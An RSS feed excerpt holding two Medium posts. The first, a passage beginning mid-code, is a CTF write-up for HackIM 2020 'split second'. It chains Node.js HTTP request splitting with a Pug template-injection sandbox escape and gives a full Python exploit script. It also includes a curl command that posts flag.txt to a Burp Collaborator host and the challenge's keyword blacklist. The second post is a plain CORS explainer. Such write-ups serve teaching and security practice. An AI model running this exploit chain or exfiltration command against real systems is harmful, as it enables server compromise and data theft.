function(err) {<br>                    if (err.code === &quot;ECONNRESET&quot;) {<br>                     console.log(&quot;Timeout occurs&quot;);<br>                     return;<br>                    }<br>                   });<br><br>                    resp.on(&#39;data&#39;, function(chunk) {<br>                        resps = chunk.toString();<br>                        res.send(resps);<br>                    }).on(&#39;error&#39;, (e) =&gt; {<br>                         res.send(e.message);});<br>                });<br>            } catch (error) {<br>                console.log(error);<br>            }<br>        }<br>    } else {<br>        res.send(&quot;search param &#39;q&#39; missing!&quot;);<br>    }<br>})<br><br><strong>function blacklist(url) {<br>    var evilwords = [&quot;global&quot;, &quot;process&quot;,&quot;mainModule&quot;,&quot;require&quot;,&quot;root&quot;,&quot;child_process&quot;,&quot;exec&quot;,&quot;\&quot;&quot;,&quot;&#39;&quot;,&quot;!&quot;];<br>    var arrayLen = evilwords.length;<br>    for (var i = 0; i &lt; arrayLen; i++) {<br>        const trigger = url.includes(evilwords[i]);<br>        if (trigger === true) {<br>            return true<br>        }<br>    }<br>}</strong><br><br>var server = app.listen(8081, function() {<br>    var host = server.address().address<br>    var port = server.address().port<br>    console.log(&quot;Example app listening at http://%s:%s&quot;, host, port)<br>})</pre><p>Lets walk through the source code one by one</p><ol><li>First line we get to know that, the application is using node.js 8.12.0</li><li>/source endpoint serving the source.html in response</li><li>Most important is the /flag end point which will give us the flag. Now there are few restrictions to this which we need to bypass. First, application is checking whether request is coming from localhost or not by comparing remote ip address with 127.0.0.1.</li></ol><pre><strong>var ip = req.connection.remoteAddress;<br>     if (ip.includes(&#39;127.0.0.1&#39;))</strong></pre><p>If above condition fails we get a response “you need to come from localhost”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TljmC__wTuyyHMPsaamDlg.png" /></figure><p>4. Once we bypass this validation ( which we will ) application checks for two request headers adminauth and pug.</p><pre><strong>var authheader = req.headers[&#39;adminauth&#39;];<br>var pug2 = decodeURI(req.headers[&#39;pug&#39;]);</strong></pre><p>adminauth value should be “<strong>secretpassword” </strong>and pug header should not contain alphabets a to z ( case sensitive ) which is validated in the <strong>if(!x) </strong>condition</p><pre><strong>var x=pug2.match(/[a-z]/g);<br>        if(!x){<br>         if (authheader === &quot;secretpassword&quot;) {<br>            var html = pug.render(pug2);<br>         }<br>        }</strong></pre><p>5. After getting through these two conditions we will reach at the statement <strong>var html = pug.render(pug2); </strong>Now pug is a template engine. It supports inline javascript code execution in a sandboxed environment. See <a href="https://pugjs.org/language/code.html">https://pugjs.org/language/code.html</a> . we need to bypass this sandbox to get the code execution and steal the flag through ssrf</p><p>6. There is one more function <strong>blacklist </strong>this is being called when making a request to <strong>/core</strong> request endpoint. This is basically saying if you request url contains any of these words <strong>“global”, “process”, ”mainModule”, ”require”, ”root”, ”child_process”, ”exec”, ”\””, ”’ ”,”!” </strong>then you will get a message you have been blocked. As in the code below. We will get to know later why words like global, process and mainModule are blocked.</p><pre>var url = &#39;http://localhost:8081/getMeme?&#39; + q<br>        console.log(url)<br>        var trigger = blacklist(url);<br>        if (trigger === true) {<br>            res.send(&quot;&lt;p&gt;Errrrr, You have been Blocked&lt;/p&gt;&quot;);<br>        } else {</pre><h4>Creating payload</h4><p><strong>Bypassing the localhost requirement</strong></p><p>Application is using Node.js 8.12.0 ( came to know via /source) which is vulnerable to http request splitting due to the way it handles the unicode. This article <a href="https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/">https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/</a> contain lot of details about it.</p><p>I will tell you the crux of this issue. Node.js 8.12.0 encoding of unicode characters is flawed for few condition. For requests that do not include a body, Node.js defaults to using “latin1”, a single-byte encoding that cannot represent high-numbered unicode characters. Such characters are instead truncated to just their lowest byte of their internal JavaScript representation. As you can see below high numbered unicode character 02 is stripped of while using latin1 encoding (\u{0d} is \r and and \u{0a} is \n ) .</p><pre>&gt; Buffer.from(&#39;<a href="http://3.6.38.186:8081/core/?q=hshs\u{020D}\u{020A}&#39;">http://3.6.38.186:8081/core/?q=hshs<strong>\u{020D}\u{020A}</strong>&#39;</a>, &#39;latin1&#39;).toString() <br>&#39;<a href="http://3.6.38.186:8081/core/?q=hshs\r\n&#39;">http://3.6.38.186:8081/core/?q=hshs\r\n&#39;</a><br>&gt;</pre><p>Now to fool the server to make a request to /flag endpoint from the server we will craft a request splitting payload</p><pre><a href="http://3.6.38.186:8081/core/?q=hshs">http://3.6.38.186:8081/core/?q=</a>test HTTP/1.1 /r/n/r/nGET /flag HTTP/1.1/r/n</pre><p>Above will effectively bypass the localhost requirement for /flag endpoint but first we have to replace CRLF (/r/n) , space and slash (/) with unicode charaters which when encoded using latin1 we will get our desired payload</p><pre>from urllib.parse import quote, unquote</pre><pre>unicodechar = {<br>    &#39;/&#39;: quote(&#39;\u022f&#39;.encode(&#39;utf-8&#39;)),<br>    &#39; &#39;: quote(&#39;\u0220&#39;.encode(&#39;utf-8&#39;)),<br>    &#39;\n&#39;: quote(&#39;\u020a&#39;.encode(&#39;utf-8&#39;)),<br>    &#39;\r&#39;: quote(&#39;\u020d&#39;.encode(&#39;utf-8&#39;))<br>    }</pre><pre>print(unicodechar)</pre><pre>//output: {&#39;/&#39;: &#39;%C8%AF&#39;, &#39; &#39;: &#39;%C8%A0&#39;, &#39;\n&#39;: &#39;%C8%8A&#39;, &#39;\r&#39;: &#39;%C8%8D&#39;}</pre><p>Do note you can use \u012f for ‘/’ instead of ‘\u022f’ because 02 and 01 will be stripped of Nodejs. So our request to bypass localhost restriction for /flag will be</p><pre><a href="http://3.6.38.186:8081/core/?q=hshs">http://3.6.38.186:8081/core/?q=</a>test%C8%A0HTTP%C8%AF1.1%C8%8D%C8%8A%C8%8D%C8%8AGET%C8%A0%C8%AFflag%C8%A0HTTP%C8%AF1.1%C8%8D%C8%8Aadminauth:secretpassword</pre><p>Now just for testing purpose i made small change in the request endpoint /flag get method. I added a console.log(ip) for debugging purpose.</p><pre>app.get(&#39;/flag&#39;, function(req, res) {<br>    var ip = req.connection.remoteAddress;<br>    console.log(ip);</pre><p>Now when you send the request through burp. You wont get any useful response in the burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sr8mc_YitsamQ_2DuLa5jg.png" /></figure><p>But when you check the server ( running in ec2 docker instance) log, you will get to know that we have successfully bypassed the localhost restriction. Since this single request is causing the server to make another request to /flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M61tjGQlbhlUo8ux7OJI1Q.png" /></figure><p><strong>pug template injection</strong></p><p>To achieve pug remote code execution our payload should not contain any alphabets as per the regex restriction in the source code. So we will encode our payload into octal as hex and unicode contains alphabets. Also our payload should be able to bypass pug sandbox to read flag.txt file from the server. This is a good article explaining about sandbox bypass <a href="http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine">http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine</a></p><p>As per <a href="https://pugjs.org/language/code.html">https://pugjs.org/language/code.html</a> pug supports inline javascript. pug template injection payload will be something like this</p><pre>-[][&quot;constructor&quot;][&quot;constructor&quot;](&quot;console.log(this.process.mainModule.require(&#39;child_process&#39;).exec(&#39;curl burpcollab23232.burpcollaborator.net -X POST -d <a href="http://twitter.com/flag">@flag</a>.txt&#39;))&quot;)()</pre><p>‘-’ at the start of the payload is the syntax for including inline javascript in pug template. “this.process.mainModule.require(‘child_process’).exec” will be used to bypass the pug sandbox and execute the command.</p><pre>curl burpcollab23232.burpcollaborator.net -X POST -d <a href="http://twitter.com/flag">@flag</a>.txt</pre><p>curl command will make a post request to the burp collaborator with the content of the flag.txt file.</p><p>Below is the python code to generate complete payload in python2 . ( ref: <a href="https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md">https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md</a> )</p><pre>import requests<br>from requests.utils import quote<br>def toOct(str):<br>        r=&quot;&quot;<br>        for i in str:<br>                if i&gt;=&#39;a&#39;and i&lt;=&#39;z&#39;:<br>                        r+=&#39;\\&#39;+oct(ord(i))[1:]<br>                else:<br>                        r+=i<br>        return r<br>SPACE=u&#39;\u0220&#39;.encode(&#39;utf-8&#39;)<br>CRLF=u&#39;\u020d\u010a&#39;.encode(&#39;utf-8&#39;) <br>SLASH=u&#39;\u022f&#39;.encode(&#39;utf-8&#39;)</pre><pre>pug = toOct(&#39;&#39;&#39;-[][&quot;constructor&quot;][&quot;constructor&quot;](&quot;console.log(this.process.mainModule.require(&#39;child_process&#39;).exec(&#39;curl 3gkvzwdvk8xxgjohn2gd1dbs4ja9yy.burpcollaborator.net -X POST -d <a href="http://twitter.com/flag">@flag</a>.txt&#39;))&quot;)()&#39;&#39;&#39;).replace(&#39;&quot;&#39;,&#39;%22&#39;).replace(&quot;&#39;&quot;,&quot;%27&quot;)#&#39; and &quot; need to be double encoded to make it a valid request<br>print quote(pug)</pre><pre>payload=<strong>&#39;sol&#39;+SPACE+&#39;HTTP&#39;+SLASH+&#39;1.1&#39;+CRLF*2+&#39;GET&#39;+SPACE+SLASH+&#39;flag&#39;+SPACE+&#39;HTTP&#39;+SLASH+&#39;1.1&#39;+CRLF+&#39;adminauth:&#39;+SPACE+&#39;secretpassword&#39;+CRLF+&#39;pug:&#39;+SPACE+pug+CRLF+&#39;test:&#39;+SPACE</strong></pre><pre>print payload</pre><pre>print quote(payload)</pre><pre>res=requests.get(&#39;<a href="http://3.6.38.186:8081/core?q=&#39;+quote(payload))">http://3.6.38.186:8081/core?q=&#39;+quote(payload))</a></pre><pre>print res.content</pre><p>toOct function is converting the alphabets in the pug string to octal values. “<strong>CRLF+’test:’+SPACE” </strong>at the end of the payload is just to make the request url valid.</p><h4><strong>Getting the flag</strong></h4><p>Start you burp collaborator client</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ir2ITgdTxAMJSYgDseuqGg.png" /></figure><p>click on copy to clipboard to copy the burp collaborator server address and replace this burp collaborator in the pug payload above.</p><p>Execute the code and wait on the collaborator client to get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAI4jmU8WxCQDMXuZsfNvw.png" /></figure><p>Flag : hackim20{You_must_be_1337_in_JavaScript}</p><p>I must say i not 1337 in javascript, but trying to learn.</p><p>That’s it for now. I hope you learn something from it. let me know if you have any corrections and feedback. If you like it then go ahead and clap.</p><h4>References:</h4><ul><li><a href="http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine">Sandbox Breakout - A View of the Nunjucks Template Engine</a></li><li><a href="https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md">xiaobye-ctf/CTF-writeups</a></li></ul><p>You may also like my other writeup</p><p><a href="https://medium.com/@nir.choubey.2011/cors-cross-origin-resource-sharing-for-dummies-15bf4c12e473">CORS(Cross Origin Resource Sharing) for dummies</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96426070cb72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CORS(Cross Origin Resource Sharing) for dummies]]></title>
            <link>https://nir-choubey-2011.medium.com/cors-cross-origin-resource-sharing-for-dummies-15bf4c12e473?source=rss-60ef744a8b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/15bf4c12e473</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cors]]></category>
            <category><![CDATA[browser-security]]></category>
            <category><![CDATA[pos]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[niraj choubey]]></dc:creator>
            <pubDate>Sun, 14 Apr 2019 16:06:52 GMT</pubDate>
            <atom:updated>2019-09-25T03:24:25.603Z</atom:updated>
            <content:encoded><![CDATA[<h3>CORS for dummies</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEQQukXPmKuLycUPXaQCtg.png" /><figcaption>Image from Wikipedia explaining HOW CORS Work</figcaption></figure><p>It all started with JavaScript support for browsers. JavaScript brought with it amazing new features e.g. <a href="https://html5hive.org/creating-dynamic-content-with-javascript/">dynamic contents</a>, <a href="https://www.w3schools.com/js/js_events.asp">event based programming</a>, <a href="https://www.w3schools.com/js/js_htmldom.asp">DOM(<strong>D</strong>ocument <strong>O</strong>bject <strong>M</strong>odel)</a> manipulation etc. Along with all these, came serious security concerns. What if an attacker.com tries to steal bank details from your-bank.com while you are logged in or tries to access DOM contents, using JavaScript.</p><h4>SOP (<strong>S</strong>ame <strong>O</strong>rigin <strong>P</strong>olicy) to the rescue</h4><p>“ The <strong>same-origin policy</strong> is a critical security mechanism that restricts how a document or script loaded from one <a href="https://developer.mozilla.org/en-US/docs/Glossary/origin">origin</a> can interact with a resource from another origin”. <strong>Origin</strong> is defined as combination of scheme(protocol) , host(domain) and port of the web contents URL.</p><blockquote><a href="http://localhost:8080/">http(<strong>protocol</strong>)://localhost(<strong>domain</strong>):8080</a>(<strong>port</strong>)</blockquote><p>SOP restricts attacker.com from accessing your-bank.com DOM using JavaScript. SOP prevents the use of <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> to access resource from origin 1 to origin 2(protocol+domain+port).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2DwDzkCXOip7VjlvdFnFQ.png" /><figcaption>SOP blocking a GET request from mozilla.org to facebook.com</figcaption></figure><p>But SOP can not block every cross origin request, otherwise a web page will static and alone :) . Below are the few scenarios in which SOP does allow cross origin request:</p><blockquote><em>1. Cross-origin writes are typically allowed. Examples are links, redirects, and form submissions. With exception of some condition which i will discuss in a while.</em></blockquote><blockquote><em>2. Cross-origin embedding is typically allowed. Examples include JavaScript with &lt;script src=”….”&gt;&lt;/script&gt;, Image displayed in &lt;img&gt; , media played by &lt;video&gt; and &lt;audio&gt; , anything embedded by &lt;frame&gt; and &lt;iframe&gt;</em></blockquote><p>It is important to understand why cross origin writes like form submissions is allowed under SOP. Under form submission it is not possible to access the response using front end JavaScript, browsers blocks it. But cross origin form submit also give way to certain attacks like CSRF.</p><p>Browsers blocks the front end JavaScript code from accessing the response in case of cross origin embedding too. Embed the below image tag into your web page</p><blockquote>&lt;img src=”<a href="https://www.imperva.com/learn/wp-content/uploads/sites/13/2019/01/sorted-XSS.png">https://www.imperva.com/learn/wp-content/uploads/sites/13/2019/01/sorted-XSS.png</a>&quot;&gt;&lt;/img&gt;</blockquote><p>and look at the network tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BSGprudN1Rmth67UsoOjDA.png" /></figure><p>Can you notice the no response data available in the response tab, even then your web page will have the image embedded in it. Enough of explaining SOP, in an article which is titled as CORS.</p><h3>CORS the savior</h3><p>In modern web applications, cross origin HTTP requests initiated using scripts have become an important part of it. CORS was created to allow these cross origin requests safely. Its time for the definition of CORS.</p><blockquote>Cross-Origin Resource Sharing is a mechanism that uses additional HTTP headers to tell a browser to let a web application running at one origin have permission to access selected resources from a server at a different origin.</blockquote><p>Whenever a cross origin HTTP request is initiated using XmlHttpRequest or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> API, CORS gets activated and it look for two scenarios:</p><ol><li>Whether the request is a simple (will explain in a bit) request. If so, look for Access-Control-Allow-Origin (ACAO) header in the response. If the response contains the ACAO header with value as requesting origin then allow the script to access it, otherwise browser will block the JavaScript from accessing the response.</li><li>If request is not a simple request, then browser will initiate a preflight ( again will explain in a bit) request to check weather the requesting origin(origin A) is allowed to make request to the requested origin(origin B). After origin B confirms that origin A can access its resources using result of preflight request, then browser will make a HTTP request for the resources on origin B.</li></ol><p>Now lets delve into the details of first scenario, which needs explanation of simple request.</p><h4>Simple Request</h4><p>A <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#Simple_requests">simple request</a> is the one which meets all the below criteria:</p><ol><li>Only allowed HTTP request methods are <strong>GET, HEAD and POST</strong></li><li>Apart from the headers set automatically by the user agent or browser (e.g. Connection, User-Agent) , the only headers which are allowed to be manually set are <strong>Accept, Accept-Language, Content-Language, Content-Type, Viewport-Width</strong></li><li>The only allowed values for the Content-Type header are <strong>application/x-www-form-urlencoded , multipart/form-data , text/plain</strong></li></ol><p>Below is a simple GET request using XMLHttpRequest. Lets see the request and response to understand what happens.</p><p><em>var xhr = new XMLHttpRequest();<br>xhr.open(‘GET’, ‘</em><a href="https://people.googleapis.com/v1/people/me/connections&#39;"><em>https://people.googleapis.com/v1/people/me/connections&#39;</em></a><em>); <br>xhr.send();</em></p><p>Above request satisfy the conditions for Simple request. Note the access-control-allow-origin header in the response having value <a href="https://developer.mozilla.org/">https://developer.mozilla.org</a> . ACAO header can also be * which means any origin can request resources from the other origin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*sqBPaJ2pUCbsv0JrmcprrQ.png" /><figcaption>Simple request from mozilla.org to googleapis.com</figcaption></figure><h4>Preflighted Request</h4><p>Preflighted requests first send an HTTP request by the OPTIONS method to the resource on the other domain, in order to determine whether the actual request is safe to send. Cross-site requests are preflighted like this since they may have implications to user data.</p><p>A request is preflighted if any of the below conditions are true:</p><ol><li>If the request uses any of the following methods <strong>PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH</strong></li><li>of if, Apart from the headers set automatically by the user agent or browser (e.g. Connection, User-Agent) , request contains headers other than following <strong>Accept, Accept-Language, Content-Language, Content-Type, Viewport-Width</strong></li><li>or if, the Content-Type header has a value <strong>OTHER THAN</strong> the following <strong>application/x-www-form-urlencoded , multipart/form-data , text/plain</strong></li></ol><p>Let us modify the GET request used in simple request to add a content-type header with value application/json</p><p><em>var xhr = new XMLHttpRequest();<br>xhr.open(‘GET’, ‘</em><a href="https://people.googleapis.com/v1/people/me/connections&#39;"><em>https://people.googleapis.com/v1/people/me/connections&#39;</em></a><em>); <br>xhr.setRequestHeader(‘content-type’, ‘application/json’);<br>xhr.send();</em></p><p>Since the content-type header is application/json which is not in the set {<strong>application/x-www-form-urlencoded , multipart/form-data , text/plain} , </strong>browser will initiate a prelight request with request method as OPTIONS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVY7FvrnRk4z2FUjoI7e8w.png" /><figcaption>Preflighted Request</figcaption></figure><p>Note the response header of this preflighted request.</p><p><strong><em>access-control-allow-headers: content-type</em></strong> — Indicates this HTTP header will be used when making the actual request</p><p><strong><em>access-control-allow-methods: DELETE,GET,HEAD,PATCH,POST,PUT</em></strong><em> — </em>Methods allowed when accessing the resources</p><p><strong><em>access-control-allow-origin: https://developer.mozilla.org</em></strong><em> — </em>Allowed origin to access the response</p><p><strong><em>access-control-max-age: 3600</em></strong><em> — </em>Caching duration of result of preflighted request i.e. no preflight request would be initiated if the same cross origin request is made again in the mentioned duration.</p><p>Original request will be made for the resources based on the result of preflighted request.</p><p>One other CORS header that is very important is <strong>access-control-allow-credential (ACAC). </strong>Lets see what this is all about.</p><h4>Access-Control-Allow-Credential</h4><p>Suppose you are on <a href="http://example.com/">http://example.com</a> and making a request to <a href="http://foo.com/">http://foo.com</a> using XMLHttpRequest like below</p><p><em>var xhr = new XMLHttpRequest();<br>xhr.open(‘GET’, ‘</em><a href="http://foo.com/&#39;"><em>http://foo.com/&#39;</em></a><em>, true); <br>xhr.withCredentials = true; <br>xhr.send();</em></p><p>This is a simple request, so browser will not initiate preflight request. Pay attention to the line <em>xhr.withCredentials = true , </em>this particular line tells the browser to include cookies, authorization headers or TLS client certificates, when making the cross origin request. If the foo.com respond with access-control-allow-origin as * or example.com then, this request will be an authenticated request and authenticated resources will be leaked.</p><p>To prevent this situation <em>access-control-allow-credential</em> header is used in the response. It has only two values true or false. If this header is set to false, front end JavaScript code will not be able to access the response of the request which contain <em>xhr.withCredentials = true. </em>Thus preventing the situation of leaked authenticated resources like API keys.</p><p>That’s it for now.</p><p>Give me a clap if you like the article, otherwise save it for my future article :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15bf4c12e473" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>